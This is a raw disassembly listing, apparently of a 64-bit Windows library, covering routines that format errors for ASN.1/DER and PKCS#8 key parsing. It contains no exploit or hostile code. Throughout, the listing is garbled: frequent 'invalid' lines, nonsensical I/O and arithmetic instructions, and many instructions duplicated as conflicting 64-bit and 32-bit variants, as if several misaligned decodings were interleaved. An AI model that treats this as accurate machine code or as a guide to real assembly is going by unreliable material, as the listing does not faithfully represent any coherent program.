mov qword [r9], rax
lea rax, [0x18007aa20]
add eax, 0x3ea26
add dword [rax - 0x73], ecx
add eax, 0x3ea26
invalid
invalid
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rax - 0x73], cl
add eax, 0x3ea0c
invalid
lea rax, [0x18007aa12]
lea eax, [0x18007aa12]
or al, 0xea
add eax, dword [rax]
invalid
add byte [rcx - 0x48], al
or dword [rax], eax
mov r8d, 9
mov eax, 9
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdx
mov ecx, edx
ror dword [rax - 0x77], 1
ret 0x79e8
mov rdx, rax
mov edx, eax
call fcn.180027690
invalid
call qword [rax + 0x38c48348]
nop
add rsp, 0x38
invalid
invalid
cmp bl, al
ret
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, str.KeyMalformedOidUnknownoid
adc eax, 0x3e930
add eax, dword [rax]
mov r8d, 0xc
add byte [rax - 0x7d], cl
invalid
add rsp, 0x38
add esp, 0x38
jmp rax
jmp rax
sub rsp, 0x48
sub esp, 0x48
mov rax, qword [rcx]
mov ecx, dword [rax]
or byte [rbx - 0x67c013f], al
invalid
or byte [rbx - 0x67c013f], al
sar esi, 0x83
stc
add al, 0x41
mov r8d, 1
mov eax, 1
add byte [rax], al
cmovb r8d, ecx
lea rcx, [0x180082860]
lea ecx, [0x180082860]
ror dword [rax - 0x73], 0xd
add ebp, dword [rax + 4]
add al, 0
movsxd r8, dword [rcx + r8*4]
lea ecx, [0x180082860]
add al, 0
movsxd r8, dword [rcx + r8*4]
or dword [rcx + 1], 0xe0ff41c8
add r8, rcx
add eax, ecx
jmp r8
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, str.AlgorithmParametersMissingAsn1
adc eax, 0x3e8a6
call 0x13844c07f
mov r8d, 0x1a
sbb al, byte [rax]
add byte [rax], al
add bl, ch
jmp 0x18003c09b
mov rcx, qword [rdx + 0x20]
invalid
invalid
add byte [rax], al
jmp 0x18003c09b
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
lea rdx, str.KeyMalformedOidUnknownoid
adc eax, 0x3e8cb
sbb byte [rax - 0x73], cl
adc eax, 0x3e8cb
retf
call 0x13844c09a
add byte [rcx - 0x48], al
mov r8d, 0xc
mov eax, 0xc
or al, 0
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
add rsp, 0x48
jmp rax
jmp rax
invalid
jmp rax
loopne 0x18003c0eb
add rax, 4
add eax, 4
add al, 0x48
lea ecx, [rsp + 0x40]
and al, 0x40
lea rcx, [rsp + 0x40]
and al, 0x40
mov qword [rcx], rax
add dword [rax - 0x73], ecx
add eax, 0x3e8cb
lea rax, [0x18007a980]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
and al, 0x28
xor byte [rax - 0x77], cl
and al, 0x28
and al, 0x28
sub byte [rax - 0x39], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], 3
and byte [rbx], al
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x18007a96c]
lea rax, [0x18007a96c]
lea eax, [0x18007a96c]
add eax, dword [rax]
lea r9, [0x18007a976]
add eax, dword [rax]
add byte [rcx - 0x48], al
mov r8d, 0xa
or al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edx
invalid
invalid
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.1800274f0
invalid
jmp 0x18003c115
ret 0x9e8
invalid
lea r9, [rsp + 0x40]
lea ecx, [rsp + 0x40]
and al, 0x40
mov qword [r9], rax
mov qword [r9], rax
add dword [rax - 0x73], ecx
add eax, 0x3e848
add eax, dword [rax]
lea rax, [0x18007a940]
add eax, dword [rax]
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, [0x18007a93a]
add eax, 0x3e836
call 0x13844c109
mov r8d, 4
add al, 0
add byte [rax], al
mov rcx, rdx
mov rdx, rax
ret 0x7be8
call fcn.180027690
call qword [rax + 0x48c48348]
nop
add rsp, 0x48
ret
ret
push 0x48d08948
mov ecx, dword [rcx]
invalid
mov rax, rdx
mov rcx, qword [rcx]
invalid
or dword [rax - 0x73], ecx
push rsp
and al, 0x60
lea rdx, [rsp + 0x60]
lea edx, [rsp + 0x60]
mov qword [rdx], rcx
add rcx, 8
ror dword [rax], 0x4c
lea r8, [0x18007a900]
lea eax, [0x18007a900]
enter 0x3e7, 0
add eax, dword [rax]
mov qword [rsp + 0x50], r8
push rax
mov qword [rsp + 0x48], rdx
lea rdx, str.position
adc eax, 0x3e7af
out 3, eax
add byte [rax - 0x77], cl
mov qword [rsp + 0x38], rdx
add eax, dword [rax]
mov qword [rsp + 0x38], rdx
lea rdx, [0x18007a8d8]
adc eax, 0x3e783
out 3, eax
add byte [rax - 0x77], cl
push rsp
and al, 0x30
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 8
mov dword [rsp + 0x40], 8
mov dword [rsp + 0x40], 8
and al, 0x40
or byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add al, 0
add byte [rax], al
invalid
add byte [rax], al
mov qword [rsp + 0x20], 4
add byte [rax - 0x73], cl
adc eax, 0x45359
pop rcx
push rbx
add al, 0
lea rdx, str.Errorcode
lea edx, str.Errorcode
pop rcx
push rbx
add al, 0
lea r9, str.kind
or eax, 0x40b49
mov r8d, 5
mov eax, 5
add byte [rax], al
add byte [rax - 0x77], cl
shr eax, 0x13
mov rcx, rax
call fcn.1800275a0
mov ah, 0xfe
invalid
mov ah, 0xfe
call qword [rax + 0x68c48348]
nop
add rsp, 0x68
invalid
nop
add rsp, 0x68
invalid
ret
sub esp, 0x68
movzx eax, byte [rcx]
mov dh, 1
in al, dx
push 0x4c01b60f
mov dh, 1
lea r8, [0x180082870]
mov dh, 1
lea r8, [0x180082870]
iretd
add al, 0
add byte [rcx + 0x63], cl
add al, 0x80
movsxd rax, dword [r8 + rax*4]
invalid
add rax, r8
add eax, eax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, str.DateTimeFailedFileNotFoundIncompleteexpected_len
adc eax, 0x3e883
call 0x11cecc1c2
jmp 0x18003c25e
pushfq
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, str.ReaderTagModeUnknownTagNumberInvalidTagUnexpectedexpected
lea edx, str.ReaderTagModeUnknownTagNumberInvalidTagUnexpectedexpected
adc eax, 0x3e9b3
add cl, ch
jmp 0x18003c38b
mov cl, 1
add byte [rax], al
add rcx, 8
lea r9, [rsp + 0x60]
lea ecx, [rsp + 0x60]
mov qword [r9], rcx
mov dword [rcx], ecx
lea rax, [0x18007ab68]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
and al, 0x20
and byte [rax - 0x73], cl
lea rax, [0x18007ab61]
add eax, 0x3e968
jmp 0x13844c1fe
mov r8d, 3
jmp case.0x18003c064.23
add eax, dword [rax]
invalid
add cl, ch
add eax, dword [rax]
add eax, dword [rax]
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rax + 0x18]
lea rdx, [0x18007ab44]
lea edx, [0x18007ab44]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea edx, [0x18007ab44]
adc eax, 0x3e92d
add byte [rcx - 0x48], al
or eax, dword [rax]
mov r8d, 0xb
add byte [rax], al
add cl, ch
test byte [rdx], 0
add al, byte [rax]
jmp 0x18003c518
add al, byte [rax]
add byte [rax - 1], cl
ror dword [rbp + rcx*4 + 0x4c], 0x24
lea ecx, [rsp + 0x60]
lea ecx, [rsp + 0x60]
mov qword [r9], rcx
mov dword [rcx], ecx
or dword [rax - 0x73], ecx
lea rax, [0x18007aac8]
add eax, 0x3e894
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, [0x18007aac0]
add eax, 0x3e880
call 0x13844c245
add byte [rcx - 0x48], al
mov r8d, 2
add al, byte [rax]
add byte [rax], al
jmp case.0x18003c064.23
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18007ab4f]
adc eax, 0x3e8f1
adc eax, 0x3e8f1
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov r8d, 8
mov eax, 8
jmp 0x18003c518
inc ecx
ror dword [rax - 0x73], 0x44
lea rax, [rsp + 0x60]
lea eax, [rsp + 0x60]
and al, 0x60
mov qword [rax], rcx
lea rcx, [0x18007a980]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
and al, 0x30
xor byte [rax - 0x77], cl
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
and al, 0x28
mov qword [rsp + 0x20], 3
mov dword [rsp + 0x20], 3
and al, 0x20
add eax, dword [rax]
add byte [rax], al
invalid
and byte [rbx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x3e6d7
xlatb
out 3, al
invalid
lea rax, [0x18007a96c]
lea eax, [0x18007a96c]
xlatb
out 3, al
add byte [rbp + rcx*4 + 0xd], cl
invalid
invalid
invalid
add eax, dword [rax]
lea r9, [0x18007a976]
lea ecx, [0x18007a976]
out 3, al
add cl, ch
jmp 0x18003c3e7
add dword [rax], r8d
add byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
invalid
invalid
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x3e79a
invalid
out 3, eax
invalid
lea rdx, [0x18007aa4e]
invalid
out 3, eax
add cl, ch
pop rcx
jmp 0x18003c512
add al, byte [rax]
add byte [rax - 0x75], cl
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x18007dc18]
mov rax, qword [rax + 0x18]
lea rdx, [0x18007dc18]
lea edx, [0x18007dc18]
add cl, ch
adc dword [rdx], eax
add byte [rax], al
jmp 0x18003c4e2
lea rax, [rcx + 8]
lea r8, [rsp + 0x60]
lea eax, [rsp + 0x60]
mov qword [r8], rax
mov dword [rax], eax
add rcx, 4
add ecx, 4
add al, 0x48
lea eax, [0x18007aaa0]
add eax, dword [rax]
lea rax, [0x18007aaa0]
add eax, dword [rax]
mov qword [rsp + 0x50], rax
and al, 0x50
mov qword [rsp + 0x48], r8
mov dword [rsp + 0x48], eax
and al, 0x48
lea rax, str.actual_len
mov qword [rsp + 0x38], rax
and al, 0x38
out 3, eax
add byte [rax - 0x77], cl
and al, 0x38
lea rax, [0x18007aa70]
add eax, 0x3e76b
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
xor byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x40], 0xa
mov dword [rsp + 0x40], 0xa
mov qword [rsp + 0x20], 0xc
and al, 0x20
and al, 0x20
or al, 0
add byte [rax], al
invalid
add byte [rax - 0x73], cl
add eax, 0x3e732
lea rax, [0x18007aa5a]
lea r9, [0x18007aa64]
or eax, 0x3e735
xor eax, 0x410003e7
mov r8d, 0xa
mov eax, 0xa
jmp 0x18003c5b7
inc ecx
lea rax, [rsp + 0x60]
and al, 0x60
mov qword [rax], rcx
lea rcx, [0x18007ab00]
or eax, 0x3e7b4
or eax, 0x3e7b4
mov ah, 0xe7
add eax, dword [rax]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
xor byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x20], 3
and al, 0x20
add eax, dword [rax]
add byte [rax], al
lea rax, str.NoncanonicalOidMalformedSetDuplicateSetOrderingOverflowOverlengthPem
lea eax, str.NoncanonicalOidMalformedSetDuplicateSetOrderingOverflowOverlengthPem
mov edx, 0x4c0003e7
lea ecx, [0x18007aaf8]
or eax, 0x3e78b
add byte [rbp + rcx*4 + 0xd], cl
mov esp, edi
add eax, dword [rax]
lea r9, [0x18007aaf8]
or eax, 0x3e78b
mov r8d, 0xc
or al, 0
add byte [rax], al
add byte [rax], al
add cl, ch
test dword [rdx], eax
jmp 0x18003c5fd
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18007aa48]
adc eax, 0x3e6bd
mov r8d, 6
jmp 0x18003c518
add byte [rax], al
invalid
add cl, ch
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x3e7e5
sbb byte [rax - 0x73], cl
lea edx, [0x18007ab8e]
adc eax, 0x3e7e5
mov r8d, 0xe
jmp 0x18003c518
add dword fs:[rax], eax
invalid
add dword fs:[rax], eax
add byte [rax - 1], cl
inc rcx
lea rax, [rsp + 0x60]
mov qword [rax], rcx
lea rcx, [0x18007ac00]
lea ecx, [0x18007ac00]
or byte [rax - 0x73], cl
or eax, 0x3e83a
cmp ch, al
add eax, dword [rax]
lea ecx, [0x18007ac00]
cmp ch, al
add eax, dword [rax]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], 4
and al, 0x20
and al, 0x20
add al, 0
add byte [rax], al
lea rax, [0x18007abee]
lea eax, [0x18007abee]
lea r9, [0x18007abf8]
or eax, 0x3e811
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
invalid
mov r8d, 0xa
add byte [rax], al
add cl, ch
or eax, dword [rdx]
add byte [rax], al
jmp 0x18003c5fd
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, str.IndefiniteLengthtag
jmp 0x18003c4e2
add byte [rax], al
add byte [rax], al
lea rax, [rcx + 8]
lea r8, [rsp + 0x60]
mov qword [r8], rax
add rcx, 4
rol dword [rax + rcx*2], 0x8d
add eax, 0x3e67f
rol dword [rax + rcx*2], 0x8d
add eax, 0x3e67f
lea eax, [0x18007aaa0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r8
and al, 0x48
and al, 0x48
lea rax, [0x18007ac33]
mov qword [rsp + 0x38], rax
call 0x1094bc437
and al, 0x38
lea rax, [0x18007aa70]
lea eax, [0x18007aa70]
add eax, dword [rax]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 9
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x20], 7
and al, 0x20
invalid
add byte [rax], al
lea rax, str.TrailingDatadecodedremainingUtf8
add eax, dword [rax]
lea r9, [0x18007ac2c]
or eax, 0x3e7c4
mov r8d, 0xc
jmp 0x18003c5b7
add dword [rax], r8d
invalid
add dword [rax], r8d
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x18007ab57]
adc eax, 0x3e6d1
mov r8d, 0xa
or al, byte [rax]
add byte [rax], al
jmp 0x18003c518
add byte [rax], al
inc rcx
lea rax, [rsp + 0x60]
invalid
mov qword [rax], rcx
invalid
lea rcx, [0x18007ab00]
pop rbp
out 3, al
add eax, dword [rax]
mov qword [rsp + 0x30], rcx
add eax, dword [rax]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 3
and al, 0x20
add eax, dword [rax]
add byte [rax], al
sub byte [rax - 0x39], cl
and al, 0x20
add eax, dword [rax]
add byte [rax], al
and byte [rbx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x3e4e3
in al, 3
invalid
lea rax, str.Length
in al, 3
add byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x18007aaf8]
or eax, 0x3e634
xor al, 0xe6
add eax, dword [rax]
out 3, al
add byte [rcx - 0x48], al
invalid
mov r8d, 6
jmp 0x18003c5fd
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x3e6ba
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea edx, [0x18007ab9c]
adc eax, 0x3e6ba
out 3, al
add byte [rcx - 0x48], al
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
jmp 0x18003c518
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x3e63b
invalid
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18007ab38]
invalid
add bl, ch
adc ecx, dword [rax - 0x75]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18007ab2c]
jmp 0x18003c512
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18007ab2c]
out 3, al
add byte [rcx - 0x48], al
or al, 0
add byte [rax], al
mov r8d, 0xc
add rsp, 0x68
jmp rax
lea ecx, [rsp + 0x60]
mov qword [r9], rcx
lea rax, [0x18007ac40]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rax, [0x18007ac3c]
mov r8d, 4
add al, 0
add byte [rax], al
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
mov rcx, rdx
mov rdx, rax
call fcn.180027690
jmp 0x18003c608
lea r8, [rsp + 0x60]
mov qword [r8], rax
inc rcx
lea rax, [0x18007ab00]
in eax, 3
invalid
in eax, 3
add byte [rax - 0x77], cl
and al, 0x50
add eax, dword [rax]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r8
lea rax, str.actualTagUnknownbyte
mov qword [rsp + 0x38], rax
lea rax, [0x18007abc8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
and al, 0x28
and al, 0x28
mov qword [rsp + 0x40], 6
mov qword [rsp + 0x20], 8
and al, 0x40
invalid
add byte [rax - 0x39], cl
and al, 0x20
or byte [rax], al
add byte [rax], al
lea rax, [0x18007abac]
lea eax, [0x18007abac]
lea r9, [0x18007abb9]
mov r8d, 0xd
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0xdee8
mov rcx, rdx
mov rdx, rax
call fcn.1800275a0
invalid
jmp 0x18003c608
invalid
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], 3
lea rax, str.Value
lea r9, [0x18007aaf8]
mov r8d, 5
mov rcx, rdx
mov rdx, rax
call fcn.1800274f0
nop
add rsp, 0x68
ret
mov qword [r9], rcx
lea rax, [0x18007ab00]
mov qword [rsp + 0x20], rax
lea rax, [0x1800816a4]
lea eax, [0x1800816a4]
lea eax, [0x1800816a4]
mov r8d, 4
mov rcx, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
call fcn.180027690
nop
add rsp, 0x38
ret
and al, 0x30
mov qword [r9], rcx
lea rcx, [0x18007a9a8]
mov qword [rsp + 0x20], rcx
and byte [rax - 0x73], cl
adc eax, 0x3e315
and byte [rax - 0x73], cl
adc eax, 0x3e315
mov r8d, 6
mov rcx, rax
shr eax, 0xf7
scasd eax, dword [rdi]
invalid
call qword [rax + 0x38c48348]
imul dword [rdi + 0x4890fffe]
add esp, 0x38
ret
add dword [rax - 0x75], ecx
or byte [rax - 0x7d], cl
sar esp, 0x48
cmp ecx, 4
add al, 0x41
mov eax, 2
add byte [rax], al
add al, 0x41
mov eax, 2
add byte [rax], al
add byte [rax], al
cmovb r8, rcx
lea rcx, [0x1800828d0]
add al, 0
add al, 0
movsxd r8, dword [rcx + r8*4]
add r8, rcx
jmp r8
add rax, 8
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x18007a940]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rax, [0x18007a93a]
mov r8d, 4
jmp 0x18003c714
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x18007a9d8]
mov qword [rsp + 0x20], rax
lea rax, [0x18007a9ce]
mov r8d, 5
mov rcx, rdx
mov rdx, rax
call fcn.180027690
nop
add rsp, 0x38
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.VersionParametersMalformedPublicKey
mov r8d, 7
jmp 0x18003c759
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.CryptoPkcs8
mov r8d, 6
add rsp, 0x38
jmp rax
ret
and al, 0x38
mov qword [rsp + 0x48], rax
mov eax, 8
jmp 0x18003cc86
lea r9, [rsp + 0x38]
mov qword [r9 + 8], rax
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov ecx, edi
call fcn.180036a23
cmp qword [rdi], 0
jne 0x18003ccbd
mov rax, qword [rsp + 0x28]
and al, 0x28
mov qword [rsi + 8], rax
mov qword [rsi], rbx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
call fcn.180069600
int3
test rdi, rdi
je 0x18003cd1d
lea rbx, [rcx + 0xa8]
call fcn.18003ce10
add rdi, 0xffffffffffffff58
mov rcx, rbx
jmp 0x18003cd00
invalid
mov rcx, qword [rsi + 0xa0]
mov rdx, qword [rsi + 0xa8]
and qword [rsi + 0xa8], 0
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp 0x18003cdcc
in al, dx
sub byte [rax - 0x77], cl
invalid
call fcn.18003cdaf
mov rcx, qword [rsi]
mov rdx, rdi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.18003cdb4
jmp fcn.18003c8e5
push rsi
push rdi
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
sub rsi, 1
jb 0x18003ce09
invalid
mov rcx, rdi
call fcn.18003ce10
add byte [rax], al
mov rcx, rdi
call fcn.18002ee0e
lea rcx, [rdi + 0x38]
call fcn.18002ee0e
lea rcx, [rdi + 0x70]
jo 0x18003cde4
invalid
and bh, bh
dec dword [rax - 0x7f]
invalid
test al, 0
add byte [rax], al
jmp 0x18003cdd8
dec dword [rax - 0x73]
cmp r8b, r13b
invalid
jo 0x18003cde4
invalid
and bh, bh
dec dword [rax - 0x7f]
invalid
add rsp, 0x28
pop rdi
pop rsi
ret
add esp, 0x20
pop rsi
jmp fcn.18002f5f0
invalid
mov rsi, rdx
mov rdi, rcx
lea rbx, [rsp + 0x20]
pop rsp
and al, 0x20
pop rsp
and al, 0x20
mov rcx, rbx
mov rdx, r8
mov r8, r9
call fcn.18000267f
mov rcx, rdi
stc
dec dword [rax - 0x77]
stc
mov rdx, rbx
mov r8, rsi
call fcn.180033dc0
nop
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
sub rsp, 0x40
mov rdi, rcx
test r8, r8
je 0x18003cee6
mov rsi, r8
mov r14, rdx
lea rbx, [rsp + 0x28]
mov rcx, rbx
mov rdx, r8
xor r8d, r8d
call fcn.180036b3d
cmp qword [rbx], 0
add byte [rax - 0x75], cl
pop rbx
or byte [rbp + 0x55], dh
add byte [rax - 0x75], cl
pop rbx
or byte [rbp + 0x55], dh
mov r15, qword [rsp + 0x38]
mov rcx, r15
mov rdx, r14
mov r8, rsi
invalid
call fcn.180068d66
mov rcx, r15
mov rdx, rsi
call fcn.18003c971
dec dword [rax - 0x77]
stc
dec dword [rax - 0x77]
stc
mov rdx, r15
mov r8, rsi
call fcn.1800332c1
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
mov rdx, r15
cli
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp case.0x180046113.1274
mov rcx, rdi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
jmp fcn.18000a2b0
mov rdx, qword [rsp + 0x38]
mov rcx, rbx
call fcn.180069600
cmp byte [rax - 0x77], cl
fld1
cli
mov byte [rdx], 0
int3
setb al
add rsp, 0x28
ret
dec dword [rax - 0x7d]
rol byte [rdi], 0x48
shr eax, 3
invalid
add ecx, dword [rax - 0x7d]
invalid
add rsp, 0x28
ret
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0xe0
loopne 0x18003cf3c
add byte [rax], al
loopne 0x18003cf3c
add byte [rax], al
mov rsi, rcx
add rcx, 0x60
call fcn.18002f5f9
mov rbx, qword [rsi + 0x148]
mov r14, qword [rsi + 0x150]
imul rdi, r14, 0x30
mov rcx, rbx
test rdi, rdi
je 0x18003cf76
lea r15, [rcx + 0x30]
call fcn.18002f5f9
add rdi, 0xffffffffffffffd0
mov rcx, r15
jmp 0x18003cf5f
and qword [rsi + 0x150], 0
mov rdi, rbx
sub r14, 1
jb 0x18003cf95
mov rcx, rdi
call fcn.18002ee0e
add rdi, 0x30
jmp 0x18003cf81
mov eax, 0x30
mul qword [rsi + 0x140]
jo 0x18003d04f
add byte [rax], al
add byte [rax], al
test rax, rax
js 0x18003d05b
xor ecx, ecx
cmp rax, rcx
je 0x18003cfc0
mov byte [rbx + rcx], 0
inc rcx
shr ebx, 0xf2
shr ebx, 0xf2
lea rdi, [rsi + 0x90]
cmp dword [rsi + 0x90], 2
je 0x18003cffd
mov rcx, rdi
call fcn.18003cccd
lea rbx, [rsp + 0x30]
mov r8d, 0xb0
mov rcx, rbx
invalid
mov rdx, rdi
call fcn.180068d66
mov qword [rdi], 2
mov rcx, rbx
call fcn.18003cd3f
invalid
xor eax, eax
ror byte [rax + 0x3d], 0xb0
add byte [rax], al
add byte [rcx + rcx - 0x3a], dh
je 0x18003d010
mov byte [rdi + rax], 0
inc rax
jmp 0x18003cfff
cmp rax, 0xb0
je 0x18003d010
mov byte [rdi + rax], 0
inc rax
jmp 0x18003cfff
mov qword [rsp + 0x28], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x28]
mov rax, qword [rsp + 0x28]
mov qword [rsi + 0x90], rax
add rsi, 0x98
add esi, 0x98
add esi, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x30
lea rdx, [rsp + 0x30]
mov r8d, 0xa8
mov rcx, rsi
int1
int1
call fcn.180068d66
nop
add rsp, 0xe0
pop rbx
pop rdi
add byte [rax - 0x1f3b7eb8], dl
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
ret
lea rcx, [0x18007ac70]
call fcn.180069bb0
invalid
add byte [rax - 0x73], cl
or eax, 0x44b7c
lea rcx, [0x180081bde]
lea r8, [0x180081c10]
mov edx, 0x2d
sub eax, 0xe8000000
lodsd eax, dword [rsi]
invalid
add al, byte [rax]
add ah, cl
sub eax, 0xe8000000
lodsd eax, dword [rsi]
mov dword [rdx], 0x4856cc00
add ah, cl
push rsi
sub rsp, 0x20
add ah, cl
mov rsi, rcx
mov esi, ecx
call fcn.18002ee0e
add rsi, 0x30
add esi, 0x30
add esi, 0x30
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.18002ee0e
invalid
call qword [rsi + 0x48]
sub esp, 0x20
